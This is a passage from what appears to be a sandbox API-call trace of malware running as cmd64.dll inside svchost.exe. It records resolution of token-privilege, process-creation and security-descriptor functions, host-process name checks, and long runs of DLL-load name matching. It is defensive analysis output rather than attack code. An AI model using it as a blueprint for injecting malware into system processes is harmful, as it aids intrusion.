lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0081.143] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0081.144] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0081.144] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0081.144] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0081.154] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0081.157] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0081.250] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0081.250] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0081.250] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0081.250] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0081.250] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0081.250] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0081.250] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0081.250] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0081.250] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0081.250] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0081.251] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0081.251] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0081.251] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0081.251] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0081.251] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0081.251] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0081.251] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0081.251] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0081.253] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0081.253] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\System32\\svchost.exe") returned 0x1f [0081.253] PathFindFileNameA (pszPath="C:\\Windows\\System32\\svchost.exe") returned="svchost.exe" [0081.253] GetCommandLineA () returned="C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" [0081.253] _strcmpi (_Str1="svchost.exe", _Str2="svchost.exe") returned 0 [0081.253] StrStrIA (lpFirst="C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted", lpSrch="netsvcs") returned 0x0 [0081.256] StrStrIA (lpFirst="svchost.exe", lpSrch="wermgr.exe") returned 0x0 [0081.256] HeapDestroy (hHeap=0xcd0000) returned 1 [0081.260] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 182 os_tid = 0x364 Thread: id = 183 os_tid = 0x368 [0104.262] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cscobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 184 os_tid = 0x36c [0109.904] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rasdlg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.916] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mprapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.923] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rasapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.923] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rasman.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.924] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.924] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rtutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.058] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dsrole.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.353] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.353] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.356] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.356] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.357] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.357] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.358] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.358] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.405] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003485000 [0113.405] IdePortDispatch () returned 0x103 [0113.408] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.408] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.409] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.409] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.410] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.411] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.966] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.967] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.985] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.986] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.986] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.987] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.987] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.988] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.116] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.116] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.117] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.118] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.118] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.119] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.569] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.570] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.573] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.573] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.574] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.575] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.575] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.576] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.590] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.590] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.591] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.591] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.592] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.592] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.623] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.624] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.627] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.627] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.628] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.628] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.629] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.629] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.645] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.646] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.646] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.647] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.647] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.648] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.798] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.799] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.803] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.803] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.804] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.804] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.805] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.805] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.834] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.835] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.836] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.836] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.837] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.838] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.989] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.990] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.994] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.994] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.995] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.995] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.996] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.996] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.012] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.013] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.013] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.014] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.014] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.015] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.059] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.060] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.064] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.064] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.065] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.065] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.066] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.066] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.081] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.082] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.083] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.083] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.084] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.084] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 185 os_tid = 0x370 [0081.464] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\audiosrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.471] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.472] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.472] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.472] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.473] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\MMDevAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.473] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.476] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\avrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 187 os_tid = 0x37c [0081.633] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.642] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800285d3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb9000 [0081.642] IdePortDispatch () returned 0x103 [0081.643] IdePortDispatch () returned 0x103 [0081.643] IdePortDispatch () returned 0x103 [0081.644] IdePortDispatch () returned 0x103 [0081.644] IdePortDispatch () returned 0x103 Thread: id = 188 os_tid = 0x380 Thread: id = 190 os_tid = 0x388 Thread: id = 192 os_tid = 0x390 Thread: id = 193 os_tid = 0x394 Thread: id = 212 os_tid = 0x3e4 [0084.790] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cscsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.796] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.796] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.826] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcwum.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.840] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDist.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.849] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\authz.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.046] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\taskschd.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.090] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.115] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mstask.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.144] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.164] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.170] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.172] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 215 os_tid = 0x3f0 [0085.429] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 217 os_tid = 0x3fc Thread: id = 219 os_tid = 0xe8 Thread: id = 221 os_tid = 0x10c [0085.425] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.426] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.185] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netshell.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.186] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.186] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nlaapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.469] FsRtlIsNameInExpression 